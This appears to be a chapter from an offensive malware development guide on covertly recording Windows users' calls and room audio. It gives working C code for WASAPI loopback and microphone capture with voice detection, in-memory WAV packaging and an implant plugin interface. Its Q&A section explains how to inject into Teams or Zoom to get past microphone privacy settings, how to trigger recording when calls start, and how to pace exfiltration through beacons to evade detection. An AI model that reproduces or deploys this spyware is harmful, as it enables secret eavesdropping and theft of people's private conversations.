Audio Recording
Audio recording has two completely different targets: what the system is playing (loopback capture — meetings, calls, media) and what the microphone picks up (ambient room audio, voice conversations, phone calls on speaker). Windows Audio Session API (WASAPI) handles both paths cleanly, and the two are architecturally nearly identical. This chapter covers WASAPI loopback and microphone capture, Voice Activity Detection to reduce recording to only speech segments, and how to compress audio data with PCM encoding and WAV format in memory.
WASAPI Architecture — Two Capture Modes
LOOPBACK CAPTURE (what's playing through the speakers)
─────────────────────────────────────────────────────────────────────────
Audio session → Windows Audio Engine → Speaker hardware
│
WASAPI loopback tap ← our capture client here
│
we receive same audio that goes to speakers
Intelligence value:
- All VoIP calls (Teams, Zoom, Discord, Signal Desktop)
- Video conference audio (we hear what the user hears: other participants)
- Any audio the user plays: briefings, recordings, voicemails
- Captures system-generated speech (screen readers, TTS notifications)
LIMITATION: We only capture ONE side of a Teams call (what comes IN).
The user's own voice goes OUT through the microphone, not the speaker.
To capture a full two-sided conversation, combine loopback + microphone.
─────────────────────────────────────────────────────────────────────────
MICROPHONE CAPTURE (room audio, user's voice)
─────────────────────────────────────────────────────────────────────────
Microphone hardware → Windows Audio Engine → application stream
│
WASAPI render tap ← our capture client here
Intelligence value:
- User's side of voice/video calls (their exact words)
- In-person conversations if laptop is in a meeting room
- Phone calls on speaker
- Sensitive conversations around the device ("can you pull up that report...")
COMBINED STRATEGY: Run both simultaneously, mix into single stereo stream.
Left channel = loopback (what they hear)
Right channel = microphone (what they say)
Result: full bidirectional capture of any call.
─────────────────────────────────────────────────────────────────────────
Voice Activity Detection (VAD) — critical bandwidth optimization
─────────────────────────────────────────────────────────────────────────
Without VAD: continuous audio recording = 44100 Hz × 16-bit × 1 ch = 86 KB/s
1 hour of recording = 310 MB — completely impractical to exfil
With VAD: only record during speech → 85% of an 8-hour workday is
silence → 46 MB total vs 2.5 GB
VAD implementation: RMS energy threshold — only buffer audio packets
where the RMS amplitude exceeds a noise floor threshold.WASAPI Loopback Capture Implementation
/* audio_wasapi.c — WASAPI loopback and microphone capture with VAD */
#define COBJMACROS
#include <windows.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#pragma comment(lib, "ole32.lib")
/* Silence threshold for VAD — tune per environment */
#define VAD_SILENCE_THRESHOLD 0.005f /* RMS below this = silence */
#define VAD_HOLDOFF_PACKETS 50 /* Keep recording N packets after speech ends */
/* Audio buffer — accumulates PCM chunks */
typedef struct {
BYTE *pcm_data;
DWORD pcm_pos;
DWORD pcm_capacity;
CRITICAL_SECTION lock;
WAVEFORMATEX format;
} AudioBuffer;
static AudioBuffer g_audio = {0};
static void audio_buffer_init(const WAVEFORMATEX *fmt) {
InitializeCriticalSection(&g_audio.lock);
g_audio.pcm_capacity = 10 * 1024 * 1024; /* 10MB buffer */
g_audio.pcm_data = (BYTE*)VirtualAlloc(NULL, g_audio.pcm_capacity,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
g_audio.pcm_pos = 0;
memcpy(&g_audio.format, fmt, sizeof(WAVEFORMATEX));
}
static void audio_buffer_append(const BYTE *data, DWORD len) {
EnterCriticalSection(&g_audio.lock);
if (g_audio.pcm_pos + len < g_audio.pcm_capacity) {
memcpy(g_audio.pcm_data + g_audio.pcm_pos, data, len);
g_audio.pcm_pos += len;
}
LeaveCriticalSection(&g_audio.lock);
}
/* ── Voice Activity Detection — simple RMS energy threshold ─────── */
/*
* RMS = sqrt(mean(x^2)) for all samples in a packet.
* Float32 PCM has samples in [-1.0, 1.0].
* Threshold: 0.005 ≈ -46dBFS — captures speech, rejects idle hum.
*/
static float compute_rms_f32(const float *samples, UINT32 count) {
double sum = 0.0;
for (UINT32 i = 0; i < count; i++) sum += (double)samples[i] * samples[i];
return (float)sqrt(sum / count);
}
static float compute_rms_s16(const INT16 *samples, UINT32 count) {
double sum = 0.0;
for (UINT32 i = 0; i < count; i++) {
float f = samples[i] / 32768.0f;
sum += (double)f * f;
}
return (float)sqrt(sum / count);
}
/* ── Generic WASAPI capture loop — works for both loopback and mic ── */
/*
* The only difference between loopback and microphone capture:
* Loopback: GetDefaultAudioEndpoint(eRender, eConsole) + AUDCLNT_STREAMFLAGS_LOOPBACK
* Microphone: GetDefaultAudioEndpoint(eCapture, eConsole) + 0 (no loopback flag)
*/
static DWORD WINAPI wasapi_capture_loop(PVOID param) {
BOOL loopback = (BOOL)(ULONG_PTR)param;
CoInitialize(NULL);
IMMDeviceEnumerator *enumerator = NULL;
IMMDevice *device = NULL;
IAudioClient *client = NULL;
IAudioCaptureClient *cap_client = NULL;
CoCreateInstance(&CLSID_MMDeviceEnumerator, NULL, CLSCTX_ALL,
&IID_IMMDeviceEnumerator, (void**)&enumerator);
/* Select endpoint: renderer (speakers) for loopback, capture (mic) for microphone */
EDataFlow data_flow = loopback ? eRender : eCapture;
enumerator->lpVtbl->GetDefaultAudioEndpoint(enumerator, data_flow, eConsole, &device);
device->lpVtbl->Activate(device, &IID_IAudioClient, CLSCTX_ALL, NULL, (void**)&client);
/* Get the mix format — use whatever the audio engine uses natively */
WAVEFORMATEX *mix_fmt = NULL;
client->lpVtbl->GetMixFormat(client, &mix_fmt);
audio_buffer_init(mix_fmt);
DWORD stream_flags = AUDCLNT_STREAMFLAGS_LOOPBACK;
if (!loopback) stream_flags = 0;
/* Initialize in shared mode — don't take exclusive control of the device */
client->lpVtbl->Initialize(client, AUDCLNT_SHAREMODE_SHARED,
stream_flags,
10000000, /* 1 second buffer (100ns units) */
0, mix_fmt, NULL);
client->lpVtbl->GetService(client, &IID_IAudioCaptureClient, (void**)&cap_client);
client->lpVtbl->Start(client);
UINT32 holdoff = 0;
while (g_recording) {
Sleep(10); /* 10ms polling — low CPU, acceptable latency */
UINT32 packet_len = 0;
cap_client->lpVtbl->GetNextPacketSize(cap_client, &packet_len);
while (packet_len != 0) {
BYTE *data = NULL;
UINT32 frames = 0;
DWORD flags = 0;
UINT64 position = 0, qpc = 0;
cap_client->lpVtbl->GetBuffer(cap_client, &data, &frames, &flags,
&position, &qpc);
/* Voice Activity Detection */
BOOL has_voice = FALSE;
if (!(flags & AUDCLNT_BUFFERFLAGS_SILENT)) {
float rms = 0.0f;
WORD bits = mix_fmt->wBitsPerSample;
WORD channels = mix_fmt->nChannels;
UINT32 samples = frames * channels;
if (mix_fmt->wFormatTag == WAVE_FORMAT_IEEE_FLOAT ||
(mix_fmt->wFormatTag == WAVE_FORMAT_EXTENSIBLE && bits == 32)) {
rms = compute_rms_f32((const float*)data, samples);
} else if (bits == 16) {
rms = compute_rms_s16((const INT16*)data, samples);
}
has_voice = (rms > VAD_SILENCE_THRESHOLD);
}
if (has_voice) {
holdoff = VAD_HOLDOFF_PACKETS;
}
/* Buffer audio: only when voice active OR in holdoff period */
if (holdoff > 0) {
DWORD byte_count = frames * mix_fmt->nBlockAlign;
if (flags & AUDCLNT_BUFFERFLAGS_SILENT) {
/* Generate silence for gapless playback */
BYTE *silence = (BYTE*)alloca(byte_count);
memset(silence, 0, byte_count);
audio_buffer_append(silence, byte_count);
} else {
audio_buffer_append(data, frames * mix_fmt->nBlockAlign);
}
holdoff--;
}
cap_client->lpVtbl->ReleaseBuffer(cap_client, frames);
cap_client->lpVtbl->GetNextPacketSize(cap_client, &packet_len);
}
}
client->lpVtbl->Stop(client);
CoTaskMemFree(mix_fmt);
if (cap_client) cap_client->lpVtbl->Release(cap_client);
if (client) client->lpVtbl->Release(client);
if (device) device->lpVtbl->Release(device);
if (enumerator) enumerator->lpVtbl->Release(enumerator);
CoUninitialize();
return 0;
}
WAV File Output in Memory
/* Wrap accumulated PCM data in a WAV file header (in memory, no disk write) */
/*
* WAV format:
* RIFF header (12 bytes) + fmt chunk (24 bytes) + data chunk (8 + PCM bytes)
* Total header: 44 bytes
*/
BYTE* pcm_to_wav(const BYTE *pcm, DWORD pcm_len,
const WAVEFORMATEX *fmt, DWORD *out_len) {
DWORD total = 44 + pcm_len;
BYTE *wav = (BYTE*)VirtualAlloc(NULL, total, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!wav) return NULL;
/* RIFF chunk */
memcpy(wav, "RIFF", 4);
*(DWORD*)(wav+4) = total - 8; /* File size minus RIFF header */
memcpy(wav+8, "WAVE", 4);
/* fmt chunk */
memcpy(wav+12, "fmt ", 4);
*(DWORD*)(wav+16) = 16; /* fmt chunk size */
*(WORD*)(wav+20) = WAVE_FORMAT_PCM;
*(WORD*)(wav+22) = fmt->nChannels;
*(DWORD*)(wav+24) = fmt->nSamplesPerSec;
*(DWORD*)(wav+28) = fmt->nAvgBytesPerSec;
*(WORD*)(wav+32) = fmt->nBlockAlign;
*(WORD*)(wav+34) = fmt->wBitsPerSample;
/* data chunk */
memcpy(wav+36, "data", 4);
*(DWORD*)(wav+40) = pcm_len;
memcpy(wav+44, pcm, pcm_len);
*out_len = total;
return wav;
}
/* Plugin interface */
static volatile BOOL g_recording = FALSE;
static HANDLE g_loopback_thread = NULL;
static HANDLE g_mic_thread = NULL;
BOOL cap_start(PVOID params, DWORD params_len) {
g_recording = TRUE;
/* Run both loopback (param=TRUE) and microphone (param=FALSE) simultaneously */
g_loopback_thread = CreateThread(NULL, 0, wasapi_capture_loop, (PVOID)TRUE, 0, NULL);
g_mic_thread = CreateThread(NULL, 0, wasapi_capture_loop, (PVOID)FALSE, 0, NULL);
return g_loopback_thread && g_mic_thread;
}
VOID cap_stop(VOID) {
g_recording = FALSE;
WaitForSingleObject(g_loopback_thread, 3000);
WaitForSingleObject(g_mic_thread, 3000);
}
BOOL cap_dump(BYTE **data_out, DWORD *len_out) {
EnterCriticalSection(&g_audio.lock);
if (g_audio.pcm_pos == 0) { LeaveCriticalSection(&g_audio.lock); return FALSE; }
*data_out = pcm_to_wav(g_audio.pcm_data, g_audio.pcm_pos,
&g_audio.format, len_out);
g_audio.pcm_pos = 0;
LeaveCriticalSection(&g_audio.lock);
return *data_out != NULL;
}
Questions & Answers
Can Windows Privacy settings block microphone access, and how does that interact with WASAPI?
Yes — exactly as with the camera. Windows 10/11 has a microphone privacy setting (Settings → Privacy & Security → Microphone). When microphone access is disabled system-wide, WASAPI calls to eCapture endpoints return AUDCLNT_E_DEVICE_IN_USE or the client activates but returns only silent frames. Enforcement is in the audio driver stack. Loopback capture is not affected by the microphone privacy setting — loopback taps the render (speaker) pipeline, which isn't a microphone. So even with microphone privacy disabled, you can still capture what's playing through the speakers via loopback. For microphone access: the same workarounds as camera apply — inject into a process already granted microphone permission (Teams, Zoom, Discord have it by default once granted). Running in that process context inherits the permission. SYSTEM context may bypass the per-user policy on some configurations.
How does WASAPI loopback handle the case where the system is silent (no audio playing)?
When nothing is playing, the loopback endpoint returns packets with the AUDCLNT_BUFFERFLAGS_SILENT flag set. GetNextPacketSize() may return 0 (no data available). This is expected behavior and why VAD matters even for loopback: if you buffer everything including silence, you generate massive amounts of zero-amplitude PCM that contains no intelligence and wastes your exfil bandwidth. With VAD: a meeting on Teams produces audio → VAD triggers → you buffer it. Between sentences: silence → below threshold → holdoff counts down → buffering stops. Result: you capture only the speech content of the meeting. Note that the system will still deliver packets even during silence in some configurations — always check the AUDCLNT_BUFFERFLAGS_SILENT flag and skip those packets without running them through VAD's RMS calculation (it'll be 0.0 anyway, but saves CPU cycles).
How do you handle the mix format when it's IEEE float 32-bit vs. PCM 16-bit?
Windows audio engine works internally with 32-bit IEEE float audio at the mix stage. GetMixFormat() returns WAVE_FORMAT_IEEE_FLOAT (formatTag=3) at 32-bit depth in most modern configurations. WAV files expect WAVE_FORMAT_PCM (formatTag=1) at 16-bit. The simplest approach: buffer the raw format that WASAPI gives you (32-bit float), then convert to 16-bit PCM when building the WAV output. Conversion: for each float32 sample in [-1.0, 1.0], compute INT16 = (INT16)(sample * 32767.0f), clamping to [-32768, 32767]. This halves the data size (32-bit → 16-bit = 2x compression) before even applying audio compression. If you want to go further, convert to mono (average left+right channels) and reduce sample rate to 16000 Hz (adequate for speech): this reduces the data by 2x (stereo→mono) × varies (resample ratio), giving 8x overall reduction from the original 48000 Hz stereo 32-bit float stream — bringing 310 KB/s down to ~38 KB/s before VAD.
How do you detect when a VoIP call starts and trigger targeted audio recording?
Three signals indicate a call is starting: (1) Process creation — watch for Teams.exe, Zoom.exe, Discord.exe, Slack.exe launching, or their subprocess patterns. When a call-capable app starts, begin monitoring. (2) Audio session activity — use IAudioSessionManager2::GetSessionEnumerator() to enumerate active audio sessions. When Teams or Zoom creates an audio session (GetProcessId() matches their PID), a call is likely active. (3) Microphone access detection — IAudioSessionNotification or IMMNotificationClient callbacks fire when audio devices are opened. Combined trigger: when a known VoIP process opens an audio session, start both loopback and microphone recording simultaneously. Stop when the session ends (notification callback fires for session expiration) or after a maximum duration. Tag the recording with the triggering process name so the operator knows "Teams call recording, 45 minutes, filename: teams_call_20260709_1432.wav."
What's the exfiltration data rate for audio, and how do you keep it under detection thresholds?
After VAD + 16kHz mono 16-bit conversion: ~32 KB/s during active speech. A 30-minute meeting = 57.6 MB of raw audio. Compressed with lossless FLAC-like schemes: ~20-30MB. At 64KB chunks and 30-second beacons, that's 330-465 beacon payloads — about 2.7-3.9 hours to exfil a 30-minute meeting. This is the fundamental tension: high-value intelligence comes at high exfiltration cost. Optimizations: (1) MP3 or Opus compression — Opus at 16 kbps (optimized for speech) gives 3.6MB per 30 minutes — 10x reduction from WAV, 56 beacon windows to exfil the meeting. (2) Prioritize exfil during peak business hours when more traffic is expected. (3) Combine with other data types in the exfil stream — mix audio chunks with screenshot chunks and keylog data so no single data type dominates the pattern. (4) For extremely sensitive meetings where you need real-time intelligence: live streaming with Opus encoding gives <20 KB/s at acceptable voice quality.